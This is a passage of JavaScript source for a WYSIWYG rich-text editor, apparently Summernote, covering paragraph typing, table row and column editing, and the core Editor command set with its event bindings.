isEscapseToBody ? dom.listDescendant(middleList, dom.isLi)\n        : lists.from(middleList.childNodes).filter(dom.isLi);\n\n      // LI to P\n      if (isEscapseToBody || !dom.isList(headList.parentNode)) {\n        paras = paras.map((para) => {\n          return dom.replace(para, 'P');\n        });\n      }\n\n      $.each(lists.from(paras).reverse(), (idx, para) => {\n        dom.insertAfter(para, headList);\n      });\n\n      // remove empty lists\n      const rootLists = lists.compact([headList, middleList, lastList]);\n      $.each(rootLists, (idx, rootList) => {\n        const listNodes = [rootList].concat(dom.listDescendant(rootList, dom.isList));\n        $.each(listNodes.reverse(), (idx, listNode) => {\n          if (!dom.nodeLength(listNode)) {\n            dom.remove(listNode, true);\n          }\n        });\n      });\n\n      releasedParas = releasedParas.concat(paras);\n    });\n\n    return releasedParas;\n  }\n}\n","import $ from 'jquery';\nimport dom from '../core/dom';\nimport range from '../core/range';\nimport Bullet from '../editing/Bullet';\n\n/**\n * @class editing.Typing\n *\n * Typing\n *\n */\nexport default class Typing {\n  constructor() {\n    // a Bullet instance to toggle lists off\n    this.bullet = new Bullet();\n  }\n\n  /**\n   * insert tab\n   *\n   * @param {WrappedRange} rng\n   * @param {Number} tabsize\n   */\n  insertTab(rng, tabsize) {\n    const tab = dom.createText(new Array(tabsize + 1).join(dom.NBSP_CHAR));\n    rng = rng.deleteContents();\n    rng.insertNode(tab, true);\n\n    rng = range.create(tab, tabsize);\n    rng.select();\n  }\n\n  /**\n   * insert paragraph\n   */\n  insertParagraph(editable) {\n    let rng = range.create(editable);\n\n    // deleteContents on range.\n    rng = rng.deleteContents();\n\n    // Wrap range if it needs to be wrapped by paragraph\n    rng = rng.wrapBodyInlineWithPara();\n\n    // finding paragraph\n    const splitRoot = dom.ancestor(rng.sc, dom.isPara);\n\n    let nextPara;\n    // on paragraph: split paragraph\n    if (splitRoot) {\n      // if it is an empty line with li\n      if (dom.isEmpty(splitRoot) && dom.isLi(splitRoot)) {\n        // toogle UL/OL and escape\n        this.bullet.toggleList(splitRoot.parentNode.nodeName);\n        return;\n      // if it is an empty line with para on blockquote\n      } else if (dom.isEmpty(splitRoot) && dom.isPara(splitRoot) && dom.isBlockquote(splitRoot.parentNode)) {\n        // escape blockquote\n        dom.insertAfter(splitRoot, splitRoot.parentNode);\n        nextPara = splitRoot;\n      // if new line has content (not a line break)\n      } else {\n        nextPara = dom.splitTree(splitRoot, rng.getStartPoint());\n\n        let emptyAnchors = dom.listDescendant(splitRoot, dom.isEmptyAnchor);\n        emptyAnchors = emptyAnchors.concat(dom.listDescendant(nextPara, dom.isEmptyAnchor));\n\n        $.each(emptyAnchors, (idx, anchor) => {\n          dom.remove(anchor);\n        });\n\n        // replace empty heading, pre or custom-made styleTag with P tag\n        if ((dom.isHeading(nextPara) || dom.isPre(nextPara) || dom.isCustomStyleTag(nextPara)) && dom.isEmpty(nextPara)) {\n          nextPara = dom.replace(nextPara, 'p');\n        }\n      }\n    // no paragraph: insert empty paragraph\n    } else {\n      const next = rng.sc.childNodes[rng.so];\n      nextPara = $(dom.emptyPara)[0];\n      if (next) {\n        rng.sc.insertBefore(nextPara, next);\n      } else {\n        rng.sc.appendChild(nextPara);\n      }\n    }\n\n    range.create(nextPara, 0).normalize().select().scrollIntoView(editable);\n  }\n}\n","import $ from 'jquery';\nimport dom from '../core/dom';\nimport range from '../core/range';\nimport lists from '../core/lists';\n\n/**\n * @class Create a virtual table to create what actions to do in change.\n * @param {object} startPoint Cell selected to apply change.\n * @param {enum} where  Where change will be applied Row or Col. Use enum: TableResultAction.where\n * @param {enum} action Action to be applied. Use enum: TableResultAction.requestAction\n * @param {object} domTable Dom element of table to make changes.\n */\nconst TableResultAction = function(startPoint, where, action, domTable) {\n  const _startPoint = { 'colPos': 0, 'rowPos': 0 };\n  const _virtualTable = [];\n  const _actionCellList = [];\n\n  /// ///////////////////////////////////////////\n  // Private functions\n  /// ///////////////////////////////////////////\n\n  /**\n   * Set the startPoint of action.\n   */\n  function setStartPoint() {\n    if (!startPoint || !startPoint.tagName || (startPoint.tagName.toLowerCase() !== 'td' && startPoint.tagName.toLowerCase() !== 'th')) {\n      console.error('Impossible to identify start Cell point.', startPoint);\n      return;\n    }\n    _startPoint.colPos = startPoint.cellIndex;\n    if (!startPoint.parentElement || !startPoint.parentElement.tagName || startPoint.parentElement.tagName.toLowerCase() !== 'tr') {\n      console.error('Impossible to identify start Row point.', startPoint);\n      return;\n    }\n    _startPoint.rowPos = startPoint.parentElement.rowIndex;\n  }\n\n  /**\n   * Define virtual table position info object.\n   *\n   * @param {int} rowIndex Index position in line of virtual table.\n   * @param {int} cellIndex Index position in column of virtual table.\n   * @param {object} baseRow Row affected by this position.\n   * @param {object} baseCell Cell affected by this position.\n   * @param {bool} isSpan Inform if it is an span cell/row.\n   */\n  function setVirtualTablePosition(rowIndex, cellIndex, baseRow, baseCell, isRowSpan, isColSpan, isVirtualCell) {\n    const objPosition = {\n      'baseRow': baseRow,\n      'baseCell': baseCell,\n      'isRowSpan': isRowSpan,\n      'isColSpan': isColSpan,\n      'isVirtual': isVirtualCell\n    };\n    if (!_virtualTable[rowIndex]) {\n      _virtualTable[rowIndex] = [];\n    }\n    _virtualTable[rowIndex][cellIndex] = objPosition;\n  }\n\n  /**\n   * Create action cell object.\n   *\n   * @param {object} virtualTableCellObj Object of specific position on virtual table.\n   * @param {enum} resultAction Action to be applied in that item.\n   */\n  function getActionCell(virtualTableCellObj, resultAction, virtualRowPosition, virtualColPosition) {\n    return {\n      'baseCell': virtualTableCellObj.baseCell,\n      'action': resultAction,\n      'virtualTable': {\n        'rowIndex': virtualRowPosition,\n        'cellIndex': virtualColPosition\n      }\n    };\n  }\n\n  /**\n   * Recover free index of row to append Cell.\n   *\n   * @param {int} rowIndex Index of row to find free space.\n   * @param {int} cellIndex Index of cell to find free space in table.\n   */\n  function recoverCellIndex(rowIndex, cellIndex) {\n    if (!_virtualTable[rowIndex]) {\n      return cellIndex;\n    }\n    if (!_virtualTable[rowIndex][cellIndex]) {\n      return cellIndex;\n    }\n\n    let newCellIndex = cellIndex;\n    while (_virtualTable[rowIndex][newCellIndex]) {\n      newCellIndex++;\n      if (!_virtualTable[rowIndex][newCellIndex]) {\n        return newCellIndex;\n      }\n    }\n  }\n\n  /**\n   * Recover info about row and cell and add information to virtual table.\n   *\n   * @param {object} row Row to recover information.\n   * @param {object} cell Cell to recover information.\n   */\n  function addCellInfoToVirtual(row, cell) {\n    const cellIndex = recoverCellIndex(row.rowIndex, cell.cellIndex);\n    const cellHasColspan = (cell.colSpan > 1);\n    const cellHasRowspan = (cell.rowSpan > 1);\n    const isThisSelectedCell = (row.rowIndex === _startPoint.rowPos && cell.cellIndex === _startPoint.colPos);\n    setVirtualTablePosition(row.rowIndex, cellIndex, row, cell, cellHasRowspan, cellHasColspan, false);\n\n    // Add span rows to virtual Table.\n    const rowspanNumber = cell.attributes.rowSpan ? parseInt(cell.attributes.rowSpan.value, 10) : 0;\n    if (rowspanNumber > 1) {\n      for (let rp = 1; rp < rowspanNumber; rp++) {\n        const rowspanIndex = row.rowIndex + rp;\n        adjustStartPoint(rowspanIndex, cellIndex, cell, isThisSelectedCell);\n        setVirtualTablePosition(rowspanIndex, cellIndex, row, cell, true, cellHasColspan, true);\n      }\n    }\n\n    // Add span cols to virtual table.\n    const colspanNumber = cell.attributes.colSpan ? parseInt(cell.attributes.colSpan.value, 10) : 0;\n    if (colspanNumber > 1) {\n      for (let cp = 1; cp < colspanNumber; cp++) {\n        const cellspanIndex = recoverCellIndex(row.rowIndex, (cellIndex + cp));\n        adjustStartPoint(row.rowIndex, cellspanIndex, cell, isThisSelectedCell);\n        setVirtualTablePosition(row.rowIndex, cellspanIndex, row, cell, cellHasRowspan, true, true);\n      }\n    }\n  }\n\n  /**\n   * Process validation and adjust of start point if needed\n   *\n   * @param {int} rowIndex\n   * @param {int} cellIndex\n   * @param {object} cell\n   * @param {bool} isSelectedCell\n   */\n  function adjustStartPoint(rowIndex, cellIndex, cell, isSelectedCell) {\n    if (rowIndex === _startPoint.rowPos && _startPoint.colPos >= cell.cellIndex && cell.cellIndex <= cellIndex && !isSelectedCell) {\n      _startPoint.colPos++;\n    }\n  }\n\n  /**\n   * Create virtual table of cells with all cells, including span cells.\n   */\n  function createVirtualTable() {\n    const rows = domTable.rows;\n    for (let rowIndex = 0; rowIndex < rows.length; rowIndex++) {\n      const cells = rows[rowIndex].cells;\n      for (let cellIndex = 0; cellIndex < cells.length; cellIndex++) {\n        addCellInfoToVirtual(rows[rowIndex], cells[cellIndex]);\n      }\n    }\n  }\n\n  /**\n   * Get action to be applied on the cell.\n   *\n   * @param {object} cell virtual table cell to apply action\n   */\n  function getDeleteResultActionToCell(cell) {\n    switch (where) {\n      case TableResultAction.where.Column:\n        if (cell.isColSpan) {\n          return TableResultAction.resultAction.SubtractSpanCount;\n        }\n        break;\n      case TableResultAction.where.Row:\n        if (!cell.isVirtual && cell.isRowSpan) {\n          return TableResultAction.resultAction.AddCell;\n        } else if (cell.isRowSpan) {\n          return TableResultAction.resultAction.SubtractSpanCount;\n        }\n        break;\n    }\n    return TableResultAction.resultAction.RemoveCell;\n  }\n\n  /**\n   * Get action to be applied on the cell.\n   *\n   * @param {object} cell virtual table cell to apply action\n   */\n  function getAddResultActionToCell(cell) {\n    switch (where) {\n      case TableResultAction.where.Column:\n        if (cell.isColSpan) {\n          return TableResultAction.resultAction.SumSpanCount;\n        } else if (cell.isRowSpan && cell.isVirtual) {\n          return TableResultAction.resultAction.Ignore;\n        }\n        break;\n      case TableResultAction.where.Row:\n        if (cell.isRowSpan) {\n          return TableResultAction.resultAction.SumSpanCount;\n        } else if (cell.isColSpan && cell.isVirtual) {\n          return TableResultAction.resultAction.Ignore;\n        }\n        break;\n    }\n    return TableResultAction.resultAction.AddCell;\n  }\n\n  function init() {\n    setStartPoint();\n    createVirtualTable();\n  }\n\n  /// ///////////////////////////////////////////\n  // Public functions\n  /// ///////////////////////////////////////////\n\n  /**\n   * Recover array os what to do in table.\n   */\n  this.getActionList = function() {\n    const fixedRow = (where === TableResultAction.where.Row) ? _startPoint.rowPos : -1;\n    const fixedCol = (where === TableResultAction.where.Column) ? _startPoint.colPos : -1;\n\n    let actualPosition = 0;\n    let canContinue = true;\n    while (canContinue) {\n      const rowPosition = (fixedRow >= 0) ? fixedRow : actualPosition;\n      const colPosition = (fixedCol >= 0) ? fixedCol : actualPosition;\n      const row = _virtualTable[rowPosition];\n      if (!row) {\n        canContinue = false;\n        return _actionCellList;\n      }\n      const cell = row[colPosition];\n      if (!cell) {\n        canContinue = false;\n        return _actionCellList;\n      }\n\n      // Define action to be applied in this cell\n      let resultAction = TableResultAction.resultAction.Ignore;\n      switch (action) {\n        case TableResultAction.requestAction.Add:\n          resultAction = getAddResultActionToCell(cell);\n          break;\n        case TableResultAction.requestAction.Delete:\n          resultAction = getDeleteResultActionToCell(cell);\n          break;\n      }\n      _actionCellList.push(getActionCell(cell, resultAction, rowPosition, colPosition));\n      actualPosition++;\n    }\n\n    return _actionCellList;\n  };\n\n  init();\n};\n/**\n*\n* Where action occours enum.\n*/\nTableResultAction.where = { 'Row': 0, 'Column': 1 };\n/**\n*\n* Requested action to apply enum.\n*/\nTableResultAction.requestAction = { 'Add': 0, 'Delete': 1 };\n/**\n*\n* Result action to be executed enum.\n*/\nTableResultAction.resultAction = { 'Ignore': 0, 'SubtractSpanCount': 1, 'RemoveCell': 2, 'AddCell': 3, 'SumSpanCount': 4 };\n\n/**\n *\n * @class editing.Table\n *\n * Table\n *\n */\nexport default class Table {\n  /**\n   * handle tab key\n   *\n   * @param {WrappedRange} rng\n   * @param {Boolean} isShift\n   */\n  tab(rng, isShift) {\n    const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n    const table = dom.ancestor(cell, dom.isTable);\n    const cells = dom.listDescendant(table, dom.isCell);\n\n    const nextCell = lists[isShift ? 'prev' : 'next'](cells, cell);\n    if (nextCell) {\n      range.create(nextCell, 0).select();\n    }\n  }\n\n  /**\n   * Add a new row\n   *\n   * @param {WrappedRange} rng\n   * @param {String} position (top/bottom)\n   * @return {Node}\n   */\n  addRow(rng, position) {\n    const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n\n    const currentTr = $(cell).closest('tr');\n    const trAttributes = this.recoverAttributes(currentTr);\n    const html = $('<tr' + trAttributes + '></tr>');\n\n    const vTable = new TableResultAction(cell, TableResultAction.where.Row,\n      TableResultAction.requestAction.Add, $(currentTr).closest('table')[0]);\n    const actions = vTable.getActionList();\n\n    for (let idCell = 0; idCell < actions.length; idCell++) {\n      const currentCell = actions[idCell];\n      const tdAttributes = this.recoverAttributes(currentCell.baseCell);\n      switch (currentCell.action) {\n        case TableResultAction.resultAction.AddCell:\n          html.append('<td' + tdAttributes + '>' + dom.blank + '</td>');\n          break;\n        case TableResultAction.resultAction.SumSpanCount:\n          if (position === 'top') {\n            const baseCellTr = currentCell.baseCell.parent;\n            const isTopFromRowSpan = (!baseCellTr ? 0 : currentCell.baseCell.closest('tr').rowIndex) <= currentTr[0].rowIndex;\n            if (isTopFromRowSpan) {\n              const newTd = $('<div></div>').append($('<td' + tdAttributes + '>' + dom.blank + '</td>').removeAttr('rowspan')).html();\n              html.append(newTd);\n              break;\n            }\n          }\n          let rowspanNumber = parseInt(currentCell.baseCell.rowSpan, 10);\n          rowspanNumber++;\n          currentCell.baseCell.setAttribute('rowSpan', rowspanNumber);\n          break;\n      }\n    }\n\n    if (position === 'top') {\n      currentTr.before(html);\n    } else {\n      const cellHasRowspan = (cell.rowSpan > 1);\n      if (cellHasRowspan) {\n        const lastTrIndex = currentTr[0].rowIndex + (cell.rowSpan - 2);\n        $($(currentTr).parent().find('tr')[lastTrIndex]).after($(html));\n        return;\n      }\n      currentTr.after(html);\n    }\n  }\n\n  /**\n   * Add a new col\n   *\n   * @param {WrappedRange} rng\n   * @param {String} position (left/right)\n   * @return {Node}\n   */\n  addCol(rng, position) {\n    const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n    const row = $(cell).closest('tr');\n    const rowsGroup = $(row).siblings();\n    rowsGroup.push(row);\n\n    const vTable = new TableResultAction(cell, TableResultAction.where.Column,\n      TableResultAction.requestAction.Add, $(row).closest('table')[0]);\n    const actions = vTable.getActionList();\n\n    for (let actionIndex = 0; actionIndex < actions.length; actionIndex++) {\n      const currentCell = actions[actionIndex];\n      const tdAttributes = this.recoverAttributes(currentCell.baseCell);\n      switch (currentCell.action) {\n        case TableResultAction.resultAction.AddCell:\n          if (position === 'right') {\n            $(currentCell.baseCell).after('<td' + tdAttributes + '>' + dom.blank + '</td>');\n          } else {\n            $(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>');\n          }\n          break;\n        case TableResultAction.resultAction.SumSpanCount:\n          if (position === 'right') {\n            let colspanNumber = parseInt(currentCell.baseCell.colSpan, 10);\n            colspanNumber++;\n            currentCell.baseCell.setAttribute('colSpan', colspanNumber);\n          } else {\n            $(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>');\n          }\n          break;\n      }\n    }\n  }\n\n  /*\n  * Copy attributes from element.\n  *\n  * @param {object} Element to recover attributes.\n  * @return {string} Copied string elements.\n  */\n  recoverAttributes(el) {\n    let resultStr = '';\n\n    if (!el) {\n      return resultStr;\n    }\n\n    const attrList = el.attributes || [];\n\n    for (let i = 0; i < attrList.length; i++) {\n      if (attrList[i].name.toLowerCase() === 'id') {\n        continue;\n      }\n\n      if (attrList[i].specified) {\n        resultStr += ' ' + attrList[i].name + '=\\'' + attrList[i].value + '\\'';\n      }\n    }\n\n    return resultStr;\n  }\n\n  /**\n   * Delete current row\n   *\n   * @param {WrappedRange} rng\n   * @return {Node}\n   */\n  deleteRow(rng) {\n    const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n    const row = $(cell).closest('tr');\n    const cellPos = row.children('td, th').index($(cell));\n    const rowPos = row[0].rowIndex;\n\n    const vTable = new TableResultAction(cell, TableResultAction.where.Row,\n      TableResultAction.requestAction.Delete, $(row).closest('table')[0]);\n    const actions = vTable.getActionList();\n\n    for (let actionIndex = 0; actionIndex < actions.length; actionIndex++) {\n      if (!actions[actionIndex]) {\n        continue;\n      }\n\n      const baseCell = actions[actionIndex].baseCell;\n      const virtualPosition = actions[actionIndex].virtualTable;\n      const hasRowspan = (baseCell.rowSpan && baseCell.rowSpan > 1);\n      let rowspanNumber = (hasRowspan) ? parseInt(baseCell.rowSpan, 10) : 0;\n      switch (actions[actionIndex].action) {\n        case TableResultAction.resultAction.Ignore:\n          continue;\n        case TableResultAction.resultAction.AddCell:\n          const nextRow = row.next('tr')[0];\n          if (!nextRow) { continue; }\n          const cloneRow = row[0].cells[cellPos];\n          if (hasRowspan) {\n            if (rowspanNumber > 2) {\n              rowspanNumber--;\n              nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]);\n              nextRow.cells[cellPos].setAttribute('rowSpan', rowspanNumber);\n              nextRow.cells[cellPos].innerHTML = '';\n            } else if (rowspanNumber === 2) {\n              nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]);\n              nextRow.cells[cellPos].removeAttribute('rowSpan');\n              nextRow.cells[cellPos].innerHTML = '';\n            }\n          }\n          continue;\n        case TableResultAction.resultAction.SubtractSpanCount:\n          if (hasRowspan) {\n            if (rowspanNumber > 2) {\n              rowspanNumber--;\n              baseCell.setAttribute('rowSpan', rowspanNumber);\n              if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; }\n            } else if (rowspanNumber === 2) {\n              baseCell.removeAttribute('rowSpan');\n              if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; }\n            }\n          }\n          continue;\n        case TableResultAction.resultAction.RemoveCell:\n          // Do not need remove cell because row will be deleted.\n          continue;\n      }\n    }\n    row.remove();\n  }\n\n  /**\n   * Delete current col\n   *\n   * @param {WrappedRange} rng\n   * @return {Node}\n   */\n  deleteCol(rng) {\n    const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n    const row = $(cell).closest('tr');\n    const cellPos = row.children('td, th').index($(cell));\n\n    const vTable = new TableResultAction(cell, TableResultAction.where.Column,\n      TableResultAction.requestAction.Delete, $(row).closest('table')[0]);\n    const actions = vTable.getActionList();\n\n    for (let actionIndex = 0; actionIndex < actions.length; actionIndex++) {\n      if (!actions[actionIndex]) {\n        continue;\n      }\n      switch (actions[actionIndex].action) {\n        case TableResultAction.resultAction.Ignore:\n          continue;\n        case TableResultAction.resultAction.SubtractSpanCount:\n          const baseCell = actions[actionIndex].baseCell;\n          const hasColspan = (baseCell.colSpan && baseCell.colSpan > 1);\n          if (hasColspan) {\n            let colspanNumber = (baseCell.colSpan) ? parseInt(baseCell.colSpan, 10) : 0;\n            if (colspanNumber > 2) {\n              colspanNumber--;\n              baseCell.setAttribute('colSpan', colspanNumber);\n              if (baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; }\n            } else if (colspanNumber === 2) {\n              baseCell.removeAttribute('colSpan');\n              if (baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; }\n            }\n          }\n          continue;\n        case TableResultAction.resultAction.RemoveCell:\n          dom.remove(actions[actionIndex].baseCell, true);\n          continue;\n      }\n    }\n  }\n\n  /**\n   * create empty table element\n   *\n   * @param {Number} rowCount\n   * @param {Number} colCount\n   * @return {Node}\n   */\n  createTable(colCount, rowCount, options) {\n    const tds = [];\n    let tdHTML;\n    for (let idxCol = 0; idxCol < colCount; idxCol++) {\n      tds.push('<td>' + dom.blank + '</td>');\n    }\n    tdHTML = tds.join('');\n\n    const trs = [];\n    let trHTML;\n    for (let idxRow = 0; idxRow < rowCount; idxRow++) {\n      trs.push('<tr>' + tdHTML + '</tr>');\n    }\n    trHTML = trs.join('');\n    const $table = $('<table>' + trHTML + '</table>');\n    if (options && options.tableClassName) {\n      $table.addClass(options.tableClassName);\n    }\n\n    return $table[0];\n  }\n\n  /**\n   * Delete current table\n   *\n   * @param {WrappedRange} rng\n   * @return {Node}\n   */\n  deleteTable(rng) {\n    const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n    $(cell).closest('table').remove();\n  }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport key from '../core/key';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\nimport range from '../core/range';\nimport { readFileAsDataURL, createImage } from '../core/async';\nimport History from '../editing/History';\nimport Style from '../editing/Style';\nimport Typing from '../editing/Typing';\nimport Table from '../editing/Table';\nimport Bullet from '../editing/Bullet';\n\nconst KEY_BOGUS = 'bogus';\n\n/**\n * @class Editor\n */\nexport default class Editor {\n  constructor(context) {\n    this.context = context;\n\n    this.$note = context.layoutInfo.note;\n    this.$editor = context.layoutInfo.editor;\n    this.$editable = context.layoutInfo.editable;\n    this.options = context.options;\n    this.lang = this.options.langInfo;\n\n    this.editable = this.$editable[0];\n    this.lastRange = null;\n\n    this.style = new Style();\n    this.table = new Table();\n    this.typing = new Typing();\n    this.bullet = new Bullet();\n    this.history = new History(this.$editable);\n\n    this.context.memo('help.undo', this.lang.help.undo);\n    this.context.memo('help.redo', this.lang.help.redo);\n    this.context.memo('help.tab', this.lang.help.tab);\n    this.context.memo('help.untab', this.lang.help.untab);\n    this.context.memo('help.insertParagraph', this.lang.help.insertParagraph);\n    this.context.memo('help.insertOrderedList', this.lang.help.insertOrderedList);\n    this.context.memo('help.insertUnorderedList', this.lang.help.insertUnorderedList);\n    this.context.memo('help.indent', this.lang.help.indent);\n    this.context.memo('help.outdent', this.lang.help.outdent);\n    this.context.memo('help.formatPara', this.lang.help.formatPara);\n    this.context.memo('help.insertHorizontalRule', this.lang.help.insertHorizontalRule);\n    this.context.memo('help.fontName', this.lang.help.fontName);\n\n    // native commands(with execCommand), generate function for execCommand\n    const commands = [\n      'bold', 'italic', 'underline', 'strikethrough', 'superscript', 'subscript',\n      'justifyLeft', 'justifyCenter', 'justifyRight', 'justifyFull',\n      'formatBlock', 'removeFormat', 'backColor'\n    ];\n\n    for (let idx = 0, len = commands.length; idx < len; idx++) {\n      this[commands[idx]] = ((sCmd) => {\n        return (value) => {\n          this.beforeCommand();\n          document.execCommand(sCmd, false, value);\n          this.afterCommand(true);\n        };\n      })(commands[idx]);\n      this.context.memo('help.' + commands[idx], this.lang.help[commands[idx]]);\n    }\n\n    this.fontName = this.wrapCommand((value) => {\n      return this.fontStyling('font-family', \"\\'\" + value + \"\\'\");\n    });\n\n    this.fontSize = this.wrapCommand((value) => {\n      return this.fontStyling('font-size', value + 'px');\n    });\n\n    for (let idx = 1; idx <= 6; idx++) {\n      this['formatH' + idx] = ((idx) => {\n        return () => {\n          this.formatBlock('H' + idx);\n        };\n      })(idx);\n      this.context.memo('help.formatH' + idx, this.lang.help['formatH' + idx]);\n    };\n\n    this.insertParagraph = this.wrapCommand(() => {\n      this.typing.insertParagraph(this.editable);\n    });\n\n    this.insertOrderedList = this.wrapCommand(() => {\n      this.bullet.insertOrderedList(this.editable);\n    });\n\n    this.insertUnorderedList = this.wrapCommand(() => {\n      this.bullet.insertUnorderedList(this.editable);\n    });\n\n    this.indent = this.wrapCommand(() => {\n      this.bullet.indent(this.editable);\n    });\n\n    this.outdent = this.wrapCommand(() => {\n      this.bullet.outdent(this.editable);\n    });\n\n    /**\n     * insertNode\n     * insert node\n     * @param {Node} node\n     */\n    this.insertNode = this.wrapCommand((node) => {\n      if (this.isLimited($(node).text().length)) {\n        return;\n      }\n      const rng = this.createRange();\n      rng.insertNode(node);\n      range.createFromNodeAfter(node).select();\n    });\n\n    /**\n     * insert text\n     * @param {String} text\n     */\n    this.insertText = this.wrapCommand((text) => {\n      if (this.isLimited(text.length)) {\n        return;\n      }\n      const rng = this.createRange();\n      const textNode = rng.insertNode(dom.createText(text));\n      range.create(textNode, dom.nodeLength(textNode)).select();\n    });\n    /**\n     * paste HTML\n     * @param {String} markup\n     */\n    this.pasteHTML = this.wrapCommand((markup) => {\n      if (this.isLimited(markup.length)) {\n        return;\n      }\n      const contents = this.createRange().pasteHTML(markup);\n      range.createFromNodeAfter(lists.last(contents)).select();\n    });\n\n    /**\n     * formatBlock\n     *\n     * @param {String} tagName\n     */\n    this.formatBlock = this.wrapCommand((tagName, $target) => {\n      const onApplyCustomStyle = this.options.callbacks.onApplyCustomStyle;\n      if (onApplyCustomStyle) {\n        onApplyCustomStyle.call(this, $target, this.context, this.onFormatBlock);\n      } else {\n        this.onFormatBlock(tagName, $target);\n      }\n    });\n\n    /**\n     * insert horizontal rule\n     */\n    this.insertHorizontalRule = this.wrapCommand(() => {\n      const hrNode = this.createRange().insertNode(dom.create('HR'));\n      if (hrNode.nextSibling) {\n        range.create(hrNode.nextSibling, 0).normalize().select();\n      }\n    });\n\n    /**\n     * lineHeight\n     * @param {String} value\n     */\n    this.lineHeight = this.wrapCommand((value) => {\n      this.style.stylePara(this.createRange(), {\n        lineHeight: value\n      });\n    });\n\n    /**\n     * create link (command)\n     *\n     * @param {Object} linkInfo\n     */\n    this.createLink = this.wrapCommand((linkInfo) => {\n      let linkUrl = linkInfo.url;\n      const linkText = linkInfo.text;\n      const isNewWindow = linkInfo.isNewWindow;\n      let rng = linkInfo.range || this.createRange();\n      const isTextChanged = rng.toString() !== linkText;\n\n      // handle spaced urls from input\n      if (typeof linkUrl === 'string') {\n        linkUrl = linkUrl.trim();\n      }\n\n      if (this.options.onCreateLink) {\n        linkUrl = this.options.onCreateLink(linkUrl);\n      } else {\n        // if url doesn't match an URL schema, set http:// as default\n        linkUrl = /^[A-Za-z][A-Za-z0-9+-.]*\\:[\\/\\/]?/.test(linkUrl)\n          ? linkUrl : 'http://' + linkUrl;\n      }\n\n      let anchors = [];\n      if (isTextChanged) {\n        rng = rng.deleteContents();\n        const anchor = rng.insertNode($('<A>' + linkText + '</A>')[0]);\n        anchors.push(anchor);\n      } else {\n        anchors = this.style.styleNodes(rng, {\n          nodeName: 'A',\n          expandClosestSibling: true,\n          onlyPartialContains: true\n        });\n      }\n\n      $.each(anchors, (idx, anchor) => {\n        $(anchor).attr('href', linkUrl);\n        if (isNewWindow) {\n          $(anchor).attr('target', '_blank');\n        } else {\n          $(anchor).removeAttr('target');\n        }\n      });\n\n      const startRange = range.createFromNodeBefore(lists.head(anchors));\n      const startPoint = startRange.getStartPoint();\n      const endRange = range.createFromNodeAfter(lists.last(anchors));\n      const endPoint = endRange.getEndPoint();\n\n      range.create(\n        startPoint.node,\n        startPoint.offset,\n        endPoint.node,\n        endPoint.offset\n      ).select();\n    });\n\n    /**\n     * setting color\n     *\n     * @param {Object} sObjColor  color code\n     * @param {String} sObjColor.foreColor foreground color\n     * @param {String} sObjColor.backColor background color\n     */\n    this.color = this.wrapCommand((colorInfo) => {\n      const foreColor = colorInfo.foreColor;\n      const backColor = colorInfo.backColor;\n\n      if (foreColor) { document.execCommand('foreColor', false, foreColor); }\n      if (backColor) { document.execCommand('backColor', false, backColor); }\n    });\n\n    /**\n     * Set foreground color\n     *\n     * @param {String} colorCode foreground color code\n     */\n    this.foreColor = this.wrapCommand((colorInfo) => {\n      document.execCommand('styleWithCSS', false, true);\n      document.execCommand('foreColor', false, colorInfo);\n    });\n\n    /**\n     * insert Table\n     *\n     * @param {String} dimension of table (ex : \"5x5\")\n     */\n    this.insertTable = this.wrapCommand((dim) => {\n      const dimension = dim.split('x');\n\n      const rng = this.createRange().deleteContents();\n      rng.insertNode(this.table.createTable(dimension[0], dimension[1], this.options));\n    });\n\n    /**\n     * remove media object and Figure Elements if media object is img with Figure.\n     */\n    this.removeMedia = this.wrapCommand(() => {\n      let $target = $(this.restoreTarget()).parent();\n      if ($target.parent('figure').length) {\n        $target.parent('figure').remove();\n      } else {\n        $target = $(this.restoreTarget()).detach();\n      }\n      this.context.triggerEvent('media.delete', $target, this.$editable);\n    });\n\n    /**\n     * float me\n     *\n     * @param {String} value\n     */\n    this.floatMe = this.wrapCommand((value) => {\n      const $target = $(this.restoreTarget());\n      $target.toggleClass('note-float-left', value === 'left');\n      $target.toggleClass('note-float-right', value === 'right');\n      $target.css('float', value);\n    });\n\n    /**\n     * resize overlay element\n     * @param {String} value\n     */\n    this.resize = this.wrapCommand((value) => {\n      const $target = $(this.restoreTarget());\n      $target.css({\n        width: value * 100 + '%',\n        height: ''\n      });\n    });\n  }\n\n  initialize() {\n    // bind custom events\n    this.$editable.on('keydown', (event) => {\n      if (event.keyCode === key.code.ENTER) {\n        this.context.triggerEvent('enter', event);\n      }\n      this.context.triggerEvent('keydown', event);\n\n      if (!event.isDefaultPrevented()) {\n        if (this.options.shortcuts) {\n          this.handleKeyMap(event);\n        } else {\n          this.preventDefaultEditableShortCuts(event);\n        }\n      }\n      if (this.isLimited(1, event)) {\n        return false;\n      }\n    }).on('keyup', (event) => {\n      this.context.triggerEvent('keyup', event);\n    }).on('focus', (event) => {\n      this.context.triggerEvent('focus', event);\n    }).on('blur', (event) => {\n      this.context.triggerEvent('blur', event);\n    }).on('mousedown', (event) => {\n      this.context.triggerEvent('mousedown', event);\n    }).on('mouseup', (event) => {\n      this.context.triggerEvent('mouseup', event);\n    }).on('scroll', (event) => {\n      this.context.triggerEvent('scroll', event);\n    }).on('paste', (event) => {\n      this.context.triggerEvent('paste', event);\n    });\n\n    // init content before set event\n    this.$editable.html(dom.html(this.$note) || dom.emptyPara);\n\n    this.$editable.on(env.inputEventName, func.debounce(() => {\n      this.context.triggerEvent('change', this.$editable.html());\n    }, 100));\n\n    this.$editor.on('focusin', (event) => {\n      this.context.triggerEvent('focusin', event);\n    }).on('focusout', (event) => {\n      this.context.triggerEvent('focusout', 